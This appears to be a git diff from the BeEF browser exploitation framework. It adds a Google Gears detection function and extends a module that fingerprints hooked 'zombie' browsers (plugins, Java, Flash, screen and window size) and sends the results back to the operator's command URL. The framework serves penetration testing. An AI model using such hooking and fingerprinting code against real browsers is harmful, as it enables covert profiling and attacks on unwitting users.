diff --git a/modules/beefjs/browser.js b/modules/beefjs/browser.js index cf8f81784..c87b056e4 100644 --- a/modules/beefjs/browser.js +++ b/modules/beefjs/browser.js @@ -295,7 +295,7 @@ beef.browser = { /** * Returns zombie browser window size. - * @from http://www.howtocreate.co.uk/tutorials/javascript/browserwindow + * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow */ getWindowSize: function() { var myWidth = 0, myHeight = 0; @@ -383,7 +383,58 @@ beef.browser = { return false; } return results; + }, + + /** + * Checks if the zombie has Google Gears installed. + * @return: {Boolean} true or false. + * + * @from: https://code.google.com/apis/gears/gears_init.js + * */ + hasGoogleGears: function() { + + if (window.google && google.gears) { + return true; + } + + var ggfactory = null; + + // Firefox + if (typeof GearsFactory != 'undefined') { + ggfactory = new GearsFactory(); + } else { + // IE + try { + ggfactory = new ActiveXObject('Gears.Factory'); + // IE Mobile on WinCE. + if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) { + ggfactory.privateSetGlobalObject(this); + } + } catch (e) { + // Safari + if ((typeof navigator.mimeTypes != 'undefined') + && navigator.mimeTypes["application/x-googlegears"]) { + ggfactory = document.createElement("object"); + ggfactory.style.display = "none"; + ggfactory.width = 0; + ggfactory.height = 0; + ggfactory.type = "application/x-googlegears"; + document.documentElement.appendChild(ggfactory); + if(ggfactory && (typeof ggfactory.create == 'undefined')) { + ggfactory = null; + } + } + } + } + if (!ggfactory) { + return false + } else { + return true + } } + + + }; diff --git a/modules/commands/browser/detect_details/detect_details.js b/modules/commands/browser/detect_details/detect_details.js index 7029b0952..e6a643dc0 100644 --- a/modules/commands/browser/detect_details/detect_details.js +++ b/modules/commands/browser/detect_details/detect_details.js @@ -55,7 +55,8 @@ function serialize(_obj) var java_enabled = (beef.browser.hasJava())? "Yes" : "No"; var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No"; var has_flash = (beef.browser.hasFlash())? "Yes" : "No"; + var has_googlegears = (beef.browser.hasGoogleGears())? "Yes" : "No"; var screen_params = serialize(beef.browser.getScreenParams()); var window_size = serialize(beef.browser.getWindowSize()); - beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins+'&java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&browser_type='+browser_type+'&screen_params='+screen_params+'&window_size='+window_size); + beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins+'&java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&has_googlegears='+has_googlegears+'&browser_type='+browser_type+'&screen_params='+screen_params+'&window_size='+window_size); }); \ No newline at end of file diff --git a/modules/commands/browser/detect_details/detect_details.rb b/modules/commands/browser/detect_details/detect_details.rb index 159b0e5e2..5db0e9049 100644 --- a/modules/commands/browser/detect_details/detect_details.rb +++ b/modules/commands/browser/detect_details/detect_details.rb @@ -32,6 +32,7 @@ class Detect_details < BeEF::Command content['Java enabled'] = @datastore['java_enabled'] content['VBscript enabled'] = @datastore['vbscript_enabled'] content['Has Flash'] = @datastore['has_flash'] + content['Has Google Gears'] = @datastore['has_googlegears'] content['Screen Parameters'] = @datastore['screen_params'] content['Window Size'] = @datastore['window_size']